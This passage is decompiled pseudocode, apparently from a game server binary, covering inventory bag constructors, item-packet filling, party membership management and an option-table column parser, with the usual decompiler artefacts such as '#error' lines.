found", *(_WORD *)(v9 + 8)); } while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) goto LABEL_10; } v5 = box; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_25: v21 = -1; } ++v5; box = v5; if ( v5 >= 17 ) return (char *)v3 - (char *)itmarr; v4 = 0; } } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0055A690) -------------------------------------------------------- void __thiscall ItemBag::ib_clear(ItemBag *this) { int v1; // eax@4 int v2; // edx@8 ItemBoxIterator iter; // [sp+4h] [bp-1Ch]@1 int v4; // [sp+1Ch] [bp-4h]@1 iter.ibi_itembag = this; iter.ibi_Limit = ((int (__cdecl *)(_DWORD))this->vfptr->ib_BagSizeOutput)(ItemBoxIterator::_vftable_); v4 = 0; iter.ibi_finger = 0; if ( (unsigned __int8)iter.vfptr->ibi_isvalid(&iter) ) { LABEL_4: LOBYTE(v1) = 1; } else { while ( iter.ibi_finger < iter.ibi_Limit - 1 ) { ++iter.ibi_finger; if ( (unsigned __int8)iter.vfptr->ibi_isvalid(&iter) ) goto LABEL_4; } LOBYTE(v1) = 0; } v1 = (unsigned __int8)v1; if ( (_BYTE)v1 ) { LABEL_8: v2 = ((int (__stdcall *)(int))iter.ibi_itembag->vfptr->ib_GetInventoryCell)(iter.ibi_finger); *(_DWORD *)v2 = -1; *(_DWORD *)(v2 + 4) = -1; memset((void *)(v2 + 8), 0, 0x64u); *(_WORD *)(v2 + 108) = 0; *(_BYTE *)(v2 + 110) = 0; *(_WORD *)(v2 + 8) = -1; *(_DWORD *)(v2 + 112) = &itmattcontainer; while ( iter.ibi_finger < iter.ibi_Limit - 1 ) { ++iter.ibi_finger; if ( (unsigned __int8)iter.vfptr->ibi_isvalid(&iter) ) goto LABEL_8; } } else { AssertClass::ac_AssertFail(&shineassert, "ItemBag::ib_clear : homefail", v1); } } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (0055A7A0) -------------------------------------------------------- void __thiscall ItemInventoryCell::ItemInventoryCell(ItemInventoryCell *this) { *(_DWORD *)&this->iic_Item.iti_registnum.binary.gap0[0] = -1; this->iic_Item.iti_registnum.binary._bf4 = -1; memset(&this->iic_Item.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iic_Item.iti_itemstruct.itemid = -1; this->iic_AttrProc = (ItemAttributeClass *)&itmattcontainer; } //----- (0055A7D0) -------------------------------------------------------- void __thiscall ItemInventory::ItemInventory(ItemInventory *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemInventory::_vftable_; _eh_vector_constructor_iterator_( this->ii_Array, 0x74u, 144, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E62A4: using guessed type int (__stdcall *ItemInventory___vftable_[2])(int slot); //----- (0055A830) -------------------------------------------------------- void __thiscall ItemEquipment::ItemEquipment(ItemEquipment *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemEquipment::_vftable_; _eh_vector_constructor_iterator_( this->ie_Array, 0x74u, 29, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E62B4: using guessed type int (__stdcall *ItemEquipment___vftable_[2])(int slot); //----- (0055A890) -------------------------------------------------------- void __thiscall ItemQuestItemBox::ItemQuestItemBox(ItemQuestItemBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemQuestItemBox::_vftable_; _eh_vector_constructor_iterator_( this->iqb_Array, 0x74u, 5, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E62C4: using guessed type int (__stdcall *ItemQuestItemBox___vftable_[2])(int slot); //----- (0055A8F0) -------------------------------------------------------- void __thiscall ItemAccountStorage::ItemAccountStorage(ItemAccountStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemAccountStorage::_vftable_; _eh_vector_constructor_iterator_( this->ias_Array, 0x74u, 144, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E62D4: using guessed type int (__stdcall *ItemAccountStorage___vftable_[2])(int slot); //----- (0055A950) -------------------------------------------------------- void __thiscall ItemMiniHouseBox::ItemMiniHouseBox(ItemMiniHouseBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemMiniHouseBox::_vftable_; _eh_vector_constructor_iterator_( this->imhb_Array, 0x74u, 35, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E62E4: using guessed type int (__stdcall *ItemMiniHouseBox___vftable_[2])(int slot); //----- (0055A9B0) -------------------------------------------------------- void __thiscall ItemGuildStorage::ItemGuildStorage(ItemGuildStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildStorage::_vftable_; _eh_vector_constructor_iterator_( this->igs_Array, 0x74u, 36, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E62F4: using guessed type int (__stdcall *ItemGuildStorage___vftable_[2])(int slot); //----- (0055AA10) -------------------------------------------------------- void __thiscall ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildAcademyRewardStorage::_vftable_; _eh_vector_constructor_iterator_( this->igars_Array, 0x74u, 72, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E6304: using guessed type int (__stdcall *ItemGuildAcademyRewardStorage___vftable_[2])(int slot); //----- (0055AA70) -------------------------------------------------------- void __thiscall ItemFurnicherBox::ItemFurnicherBox(ItemFurnicherBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemFurnicherBox::_vftable_; _eh_vector_constructor_iterator_( this->ifm_Array, 0x74u, 98, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E6314: using guessed type int (__stdcall *ItemFurnicherBox___vftable_[2])(int slot); //----- (0055AAD0) -------------------------------------------------------- void __thiscall ItemActionItemBox::ItemActionItemBox(ItemActionItemBox *this) { this->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemActionItemBox::_vftable_; _eh_vector_constructor_iterator_( this->iaib_Array, 0x14u, 42, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E6500: using guessed type int (__stdcall *ItemActionItemBox___vftable_[2])(int slot); //----- (0055AB30) -------------------------------------------------------- int __thiscall ItemActionItemBox::isb_BagSizeInput(ItemActionItemBox *this, ChargedEffectContainer *cec) { return 42; } //----- (0055AB40) -------------------------------------------------------- int __thiscall ItemActionItemBox::isb_BagSizeOutput(ItemActionItemBox *this) { return 42; } //----- (0055AB50) -------------------------------------------------------- ItemInventorySmallCell *__thiscall ItemActionItemBox::isb_GetInventoryCell(ItemActionItemBox *this, int slot) { ItemActionItemBox *v2; // esi@1 ItemInventorySmallCell *result; // eax@2 v2 = this; if ( slot >= ((int (*)(void))this->baseclass_0.vfptr->isb_BagSizeOutput)() ) { word_146C116C = -1; dword_146C1174 = (int)&itmattcontainer; result = (ItemInventorySmallCell *)&ItemActionItemBox::iaib_Default; } else { result = &v2->iaib_Array[slot]; } return result; } // 146C116C: using guessed type __int16 word_146C116C; // 146C1174: using guessed type int dword_146C1174; //----- (0055AB90) -------------------------------------------------------- void __thiscall ItemActionItemBox::_ItemActionItemBox(ItemActionItemBox *this) { ItemActionItemBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemActionItemBox::_vftable_; _eh_vector_destructor_iterator_( this->iaib_Array, 0x14u, 42, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemSmallBag::_vftable_; } // 5E6370: using guessed type int (*ItemSmallBag_ItemInform_ActionItem____vftable_[3])(); // 5E6500: using guessed type int (__stdcall *ItemActionItemBox___vftable_[2])(int slot); //----- (0055ABF0) -------------------------------------------------------- void __thiscall ItemRewardStorage::ItemRewardStorage(ItemRewardStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemRewardStorage::_vftable_; _eh_vector_constructor_iterator_( this->irs_Array, 0x74u, 24, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5E6324: using guessed type int (__stdcall *ItemRewardStorage___vftable_[2])(int slot); //----- (0055AC50) -------------------------------------------------------- int __thiscall ItemRewardStorage::irs_FillBufferItem(ItemRewardStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { PROTO_ITEMPACKET_INFORM *v3; // esi@1 int v4; // eax@4 unsigned __int16 v5; // dx@5 char v6; // al@5 ItemBoxIterItem ibi; // [sp+4h] [bp-1Ch]@1 int v9; // [sp+1Ch] [bp-4h]@1 v3 = itmarr; *itemcounter = 0; ibi.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibi.baseclass_0.ibi_itembag = (ItemBag *)this; ibi.baseclass_0.ibi_Limit = ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)(); ibi.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v9 = 0; ibi.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibi) ) { LABEL_4: v4 = ((int (__stdcall *)(int))ibi.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibi.baseclass_0.ibi_finger); if ( v4 ) { v5 = v3->location.Inven & 0x3FF | 0x800; v3->location.Inven = v5; v3->location.Inven = v5 ^ (LOWORD(ibi.baseclass_0.ibi_finger) ^ v5) & 0x3FF; v6 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v4, *(ItemAttributeClass **)(v4 + 112), *(_WORD *)(v4 + 8), (char *)&v3->info)[2 - ((_BYTE)v3 + 3)]; v3->datasize = v6; v3 = (PROTO_ITEMPACKET_INFORM *)((char *)v3 + (unsigned __int8)v6 + 1); ++*itemcounter; while ( ibi.baseclass_0.ibi_finger < ibi.baseclass_0.ibi_Limit - 1 ) { ++ibi.baseclass_0.ibi_finger; if ( (unsigned __int8)ibi.baseclass_0.vfptr->ibi_isvalid(&ibi) ) goto LABEL_4; } } } else { while ( ibi.baseclass_0.ibi_finger < ibi.baseclass_0.ibi_Limit - 1 ) { ++ibi.baseclass_0.ibi_finger; if ( (unsigned __int8)ibi.baseclass_0.vfptr->ibi_isvalid(&ibi) ) goto LABEL_4; } } return (char *)v3 - itemcounter; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (0055AD90) -------------------------------------------------------- unsigned __int16 __thiscall CParty::GetEmptyParty(CParty *this) { int v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@2 unsigned __int16 result; // ax@4 signed __int64 v5; // qt2@5 v1 = this->m_EmptyPartySearchPoint; v2 = 0; while ( 1 ) { v3 = v1 + 1; if ( !this->m_Array[v1].NumOfMember ) break; ++v2; v1 = v3 % 2000; if ( v2 >= 2000 ) return -1; } this->m_Array[v1].ItemLootingType = 0; v5 = v3; result = v1; this->m_EmptyPartySearchPoint = v5 % 2000; return result; } //----- (0055ADF0) -------------------------------------------------------- void __thiscall CParty::PartyDelete(CParty *this, unsigned __int16 nPartyNo) { int v2; // eax@2 char v3; // dl@2 char *v4; // eax@2 if ( nPartyNo < 0x7D0u ) { v2 = nPartyNo; v3 = this->m_Array[v2].NumOfMember; v4 = (char *)this + v2 * 168; if ( v3 ) { *v4 = 0; --this->m_NumOfParty; } } } //----- (0055AE20) -------------------------------------------------------- unsigned __int16 __thiscall CParty::PartyGetNo(CParty *this, unsigned int nCharNo) { signed int v2; // eax@1 CParty *v3; // edi@1 int v4; // esi@3 int v5; // ecx@3 int v6; // edx@4 v2 = 0; v3 = this; while ( 1 ) { if ( v3->m_Array[0].NumOfMember ) { v4 = v3->m_Array[0].NumOfMember; v5 = 0; if ( v4 > 0 ) break; } LABEL_7: ++v2; v3 = (CParty *)((char *)v3 + 168); if ( v2 >= 2000 ) { LOWORD(v2) = -1; return v2; } } v6 = (int)v3->m_Array[0].Members; while ( *(_DWORD *)v6 != nCharNo ) { ++v5; v6 += 32; if ( v5 >= v4 ) goto LABEL_7; } return v2; } //----- (0055AE70) -------------------------------------------------------- int __thiscall CParty::MemberGetNo(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo) { int result; // eax@2 char *v4; // edx@3 int v5; // ecx@3 int v6; // edx@4 if ( nPartyNo < 0x7D0u ) { v4 = (char *)this + 168 * nPartyNo; v5 = (unsigned __int8)*v4; result = 0; if ( v5 <= 0 ) { LABEL_7: result = -2; } else { v6 = (int)(v4 + 4); while ( *(_DWORD *)v6 != nCharNo ) { ++result; v6 += 32; if ( result >= v5 ) goto LABEL_7; } } } else { result = -1; } return result; } //----- (0055AEC0) -------------------------------------------------------- int __thiscall CParty::SetItemLooting(CParty *this, unsigned __int16 nPartyNo, char LootingType) { int result; // eax@2 if ( nPartyNo < 0x7D0u ) { this->m_Array[nPartyNo].ItemLootingType = LootingType; result = 1; } else { result = 0; } return result; } //----- (0055AEF0) -------------------------------------------------------- char __thiscall CParty::getitemlooting(CParty *this, unsigned __int16 nPartyNo) { char result; // al@2 if ( nPartyNo < 0x7D0u ) result = this->m_Array[nPartyNo].ItemLootingType; else result = -1; return result; } //----- (0055AF20) -------------------------------------------------------- CParty::PARTY_SLOT *__thiscall CParty::operator__(CParty *this, unsigned __int16 prt) { CParty::PARTY_SLOT *result; // eax@2 if ( prt < 0x7D0u ) result = (CParty::PARTY_SLOT *)((char *)this + 168 * prt); else result = &CParty::p_def; return result; } //----- (0055AF50) -------------------------------------------------------- CParty::PARTY_SLOT *__thiscall CParty::p_defaultslot(CParty *this) { return &CParty::p_def; } //----- (0055AF60) -------------------------------------------------------- int __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_BYTE *)(this + 24) = *(_BYTE *)(a2 + 24); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); return result; } //----- (0055AFB0) -------------------------------------------------------- unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, unsigned __int16 nPartyNo, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember) { unsigned int v3; // ebx@1 CParty *v4; // ebp@1 char v5; // al@1 unsigned __int16 result; // ax@2 int v7; // edi@5 int v8; // ecx@5 int v9; // eax@6 int v10; // edi@12 v3 = nPartyNo; v4 = this; v5 = this->m_Array[v3].NumOfMember; if ( v5 ) { if ( (unsigned __int8)v5 < 5u ) { v7 = (unsigned __int8)v5; v8 = 0; if ( (signed int)(unsigned __int8)v5 <= 0 ) { LABEL_9: if ( CParty::PartyGetNo(v4, pMember->Member.chrregnum) == -1 ) { v10 = v3 * 168 + 32 * v7; *(unsigned int *)((char *)&v4->m_Array[0].Members[0].MemberInform.Member.chrregnum + v10) = pMember->Member.chrregnum; *(unsigned __int16 *)((char *)&v4->m_Array[0].Members[0].MemberInform.Member.zonecharhandle + v10) = pMember->Member.zonecharhandle; *(unsigned __int16 *)((char *)&v4->m_Array[0].Members[0].MemberInform.Member.wmcharhandle + v10) = pMember->Member.wmcharhandle; *(_QWORD *)&v4->m_Array[0].Members[0].MemberInform.Member.charname.n4_name[v10] = *(_QWORD *)&pMember->Member.charname.n4_name[0]; *(_QWORD *)&v4->m_Array[0].Members[0].MemberInform.Member.charname.n4_name[v10 + 8] = *(_QWORD *)&pMember->Member.charname.n4_name[8]; *(&v4->m_Array[0].Members[0].MemberInform.Member.level + v10) = pMember->Member.level; *(&v4->m_Array[0].Members[0].MemberInform.Member.flag + v10) = pMember->Member.flag; *(&v4->m_Array[0].Members[0].MemberInform.ZoneMerchineNo + v10) = pMember->ZoneMerchineNo; ++v4->m_Array[v3].NumOfMember; result = nPartyNo; } else { result = -2; } } else { v9 = (int)v4->m_Array[v3].Members; while ( *(_DWORD *)v9 != pMember->Member.chrregnum ) { ++v8; v9 += 32; if ( v8 >= v7 ) goto LABEL_9; } result = -3; } } else { result = -5; } } else { result = -6; } return result; } //----- (0055B080) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT(CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *this) { PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(&this->MemberInform); } //----- (0055B090) -------------------------------------------------------- unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMaster, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember, unsigned __int16 nPartyNo) { unsigned __int16 v4; // bx@1 CParty *v5; // esi@1 unsigned __int16 result; // ax@3 unsigned __int16 v7; // ax@4 int v8; // edi@10 v4 = nPartyNo; v5 = this; if ( nPartyNo != -1 || (v4 = CParty::GetEmptyParty(this), v4 != -1) ) { v7 = CParty::PartyGetNo(v5, pMaster->Member.chrregnum); if ( v7 == -1 ) { if ( CParty::PartyGetNo(v5, pMember->Member.chrregnum) == -1 ) { v8 = v4; v5->m_Array[v8].NumOfMember = 2; PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_((int)v5->m_Array[v8].Members, (int)pMaster); PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_((int)&v5->m_Array[v8].Members[1], (int)pMember); v5->m_Array[v8].Members[2].MemberInform.Member.chrregnum = -1; v5->m_Array[v8].Members[3].MemberInform.Member.chrregnum = -1; v5->m_Array[v8].Members[4].MemberInform.Member.chrregnum = -1; ++v5->m_NumOfParty; result = v4; } else { result = -2; } } else { if ( v7 == v4 ) result = CParty::MemberJoin(v5, v7, pMember); else result = -7; } } else { result = -1; } return result; } //----- (0055B160) -------------------------------------------------------- int __thiscall CParty::MemberLeave(CParty *this, unsigned __int16 nPartyNo, unsigned int LeaveMember) { unsigned int v3; // edi@1 CParty *v4; // ebp@1 int v5; // eax@1 int result; // eax@2 int v7; // edx@3 char *v8; // ecx@4 int v9; // esi@10 int v10; // eax@11 int v11; // esi@11 char v12; // al@13 v3 = nPartyNo; v4 = this; v5 = this->m_Array[v3].NumOfMember; if ( this->m_Array[v3].NumOfMember ) { v7 = 0; if ( v5 <= 0 ) goto LABEL_18; v8 = (char *)this->m_Array[v3].Members; while ( *(_DWORD *)v8 != LeaveMember ) { ++v7; v8 += 32; if ( v7 >= v5 ) return 3; } if ( v7 < v5 ) { v9 = v5 - 1; if ( v7 < v5 - 1 ) { v10 = (int)&v4->m_Array[0].Members[v7].MemberInform.Member.charname.n4_name[v3 * 168 + 4]; v11 = v9 - v7; do { *(_DWORD *)(v10 - 12) = *(_DWORD *)(v10 + 20); *(_WORD *)(v10 - 8) = *(_WORD *)(v10 + 24); *(_WORD *)(v10 - 6) = *(_WORD *)(v10 + 26); *(_DWORD *)(v10 - 4) = *(_DWORD *)(v10 + 28); *(_DWORD *)v10 = *(_DWORD *)(v10 + 32); *(_DWORD *)(v10 + 4) = *(_DWORD *)(v10 + 36); *(_DWORD *)(v10 + 8) = *(_DWORD *)(v10 + 40); *(_BYTE *)(v10 + 12) = *(_BYTE *)(v10 + 44); *(_BYTE *)(v10 + 13) = *(_BYTE *)(v10 + 45); *(_BYTE *)(v10 + 14) = *(_BYTE *)(v10 + 46); *(_DWORD *)(v10 + 16) = *(_DWORD *)(v10 + 48); v10 += 32; --v11; } while ( v11 ); } v12 = v4->m_Array[v3].NumOfMember - 1; v4->m_Array[v3].NumOfMember = v12; if ( (unsigned __int8)v12 > 1u ) { result = v7 == 0; } else { v4->m_Array[v3].NumOfMember = 0; --v4->m_NumOfParty; result = 2; } } else { LABEL_18: result = 3; } } else { result = 4; } return result; } //----- (0055B260) -------------------------------------------------------- #error "55B260: undefined or illegal type '#325' (funcsize=113)" //----- (0055B3C0) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::PARTY_SLOT(CParty::PARTY_SLOT *this) { _eh_vector_constructor_iterator_( this->Members, 0x20u, 5, (void (__thiscall *)(void *))CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0055B3E0) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::_PARTY_SLOT(CParty::PARTY_SLOT *this) { _eh_vector_destructor_iterator_( this->Members, 0x20u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0055B400) -------------------------------------------------------- void __thiscall CParty::_CParty(CParty *this) { _eh_vector_destructor_iterator_(this, 0xA8u, 2000, (void (__thiscall *)(void *))CParty::PARTY_SLOT::_PARTY_SLOT); } //----- (0055B420) -------------------------------------------------------- int __thiscall CParty::PARTY_SLOT::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 int v4; // edx@1 signed int v5; // ebp@1 result = this; *(_BYTE *)this = *(_BYTE *)a2; v3 = a2 + 24; v4 = this + 16; v5 = 5; do { *(_DWORD *)(v4 - 12) = *(_DWORD *)(v3 - 20); *(_WORD *)(v4 - 8) = *(_WORD *)(v3 - 16); *(_WORD *)(v4 - 6) = *(_WORD *)(v3 - 14); *(_DWORD *)(v4 - 4) = *(_DWORD *)(v3 - 12); *(_DWORD *)v4 = *(_DWORD *)(a2 - this + v4); *(_DWORD *)(v4 + 4) = *(_DWORD *)(v3 - 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)v3; *(_BYTE *)(v4 + 12) = *(_BYTE *)(v3 + 4); *(_BYTE *)(v4 + 13) = *(_BYTE *)(v3 + 5); *(_BYTE *)(v4 + 14) = *(_BYTE *)(v3 + 6); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v3 + 8); v3 += 32; v4 += 32; --v5; } while ( v5 ); *(_BYTE *)(this + 164) = *(_BYTE *)(a2 + 164); return result; } //----- (0055B4A0) -------------------------------------------------------- #error "55B4A0: undefined or illegal type '#325' (funcsize=23)" //----- (0055B4F0) -------------------------------------------------------- void __thiscall CParty::CParty(CParty *this) { CParty *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0xA8u, 2000, (void (__thiscall *)(void *))CParty::PARTY_SLOT::PARTY_SLOT, (void (__thiscall *)(void *))CParty::PARTY_SLOT::_PARTY_SLOT); CParty::Init(v1); } //----- (0055B520) -------------------------------------------------------- char __thiscall ORTable::ort_ReadColumnHeader(ORTable *this, ORTokenReader *token, TokenArgument *targ) { ORTable *v3; // esi@1 char *v4; // eax@1 ORColumnHeader *v5; // eax@26 int v6; // eax@27 int v7; // ebp@28 int v8; // ebp@28 unsigned __int16 *v10; // [sp-8h] [bp-38h]@5 unsigned __int16 v11; // [sp-4h] [bp-34h]@5 char *v12; // [sp-4h] [bp-34h]@30 __int16 hnd; // [sp+10h] [bp-20h]@5 int i; // [sp+14h] [bp-1Ch]@1 ORToken type; // [sp+18h] [bp-18h]@2 v3 = this; this->ort_RecordLength = 0; i = 0; v4 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( v4 ) { while ( 1 ) { *(_QWORD *)&type.ort_Name[12] = 0i64; *(_QWORD *)&type.ort_Name[4] = 0i64; *(_QWORD *)&type.ort_Name[0] = 0i64; strncpy(type.ort_Name, v4, 0x14u); ORToken::ort_ToLower(&type); if ( *(_QWORD *)&type != *(_QWORD *)ORTable::ort_Index || *(_QWORD *)&type.ort_Name[8] != qword_146C123C || *(_DWORD *)&type.ort_Name[16] != dword_146C1244 ) { if ( *(_QWORD *)&type == *(_QWORD *)ORTable::ort_String && *(_QWORD *)&type.ort_Name[8] == qword_146C128C && *(_DWORD *)&type.ort_Name[16] == dword_146C1294 ) { v11 = 2; LABEL_25: v10 = (unsigned __int16 *)&hnd; goto LABEL_26; } if ( *(_QWORD *)&type != *(_QWORD *)ORTable::ort_Byte || *(_QWORD *)&type.ort_Name[8] != qword_146C12B4 || *(_DWORD *)&type.ort_Name[16] != dword_146C12BC ) { if ( *(_QWORD *)&type != *(_QWORD *)ORTable::ort_Word || *(_QWORD *)&type.ort_Name[8] != qword_146C1318 || *(_DWORD *)&type.ort_Name[16] != dword_146C1320 ) { if ( (*(_QWORD *)&type != *(_QWORD *)ORTable::ort_Dwrd || *(_QWORD *)&type.ort_Name[8] != qword_146C12A0 || *(_DWORD *)&type.ort_Name[16] != dword_146C12A8) && (*(_QWORD *)&type != *(_QWORD *)ORTable::ort_Dword || *(_QWORD *)&type.ort_Name[8] != qword_146C1278 || *(_DWORD *)&type.ort_Name[16] != dword_146C1280) ) { v12 = "Undefined column type"; goto LABEL_34; } v11 = 5; goto LABEL_25; } v11 = 4; v10 = (unsigned __int16 *)&hnd; } else { v11 = 3; v10 = (unsigned __int16 *)&hnd; } } else { v11 = 1; v10 = (unsigned __int16 *)&hnd; } LABEL_26: v5 = ORColumnHeaderList::orchl_AllocObject(&v3->ort_HeaderList, v10, v11); if ( !v5 ) { v12 = "Too many columns or memory leak"; goto LABEL_34; } v6 = v5->vfptr->ortr_SetLength(v5, token, targ); if ( v6 < 0 ) return 0; v7 = i; v3->ort_RecordLength += v6; v8 = v7 + 1; i = v8; v4 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v4 ) { if ( !v8 ) break; return 1; } } } v12 = "At least one column needed"; LABEL_34: ORTokenReader::ortr_SetError(token, v12); return 0; } // 146C123C: using guessed type __int64 qword_146C123C; // 146C1244: using guessed type int dword_146C1244; // 146C1278: using guessed type __int64 qword_146C1278; // 146C1280: using guessed type int dword_146C1280; // 146C128C: using guessed type __int64 qword_146C128C; // 146C1294: using guessed type int dword_146C1294; // 146C12A0: using guessed type __int64 qword_146C12A0; // 146C12A8: using guessed type int dword_146C12A8; // 146C12B4: using guessed type __int64 qword_146C12B4; // 146C12BC: using guessed type int dword_146C12BC; // 146C1318: using guessed type __int64 qword_146C1318; // 146C1320: using guessed type int dword_146C1320; //----- (0055B750) -------------------------------------------------------- void __thiscall TokenArgument::TokenArgument(TokenArgument *this) { TokenArgument *v1; // esi@1 v1 = this; ORErrorMessage::ORErrorMessage(&this->errmsg); ORDelimiter::ORDelimiter((ORIgnore *)&v1->delimiter); ORExchange::ORExchange(&v1->exchange); ORComment::ORComment(&v1->comment); ORBrace::ORBrace(&v1->brace); ORDelimiter::ORDelimiter(&v1->ignore); } //----- (0055B7D0) -------------------------------------------------------- void __thiscall TokenArgument::_TokenArgument(TokenArgument *this) { TokenArgument *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->ignore); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->brace); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->comment); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->exchange); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->delimiter); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v1); } //----- (0055B880) -------------------------------------------------------- char __thiscall OptionReader::or_ExecColumnName(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadColumnName(v2, token) && ORTokenReader::ortr_isEOL(token); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "ColumnName without table"); result = 0; } return result; } //----- (0055B8D0) -------------------------------------------------------- char __thiscall OptionReader::or_ExecColumnType(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = 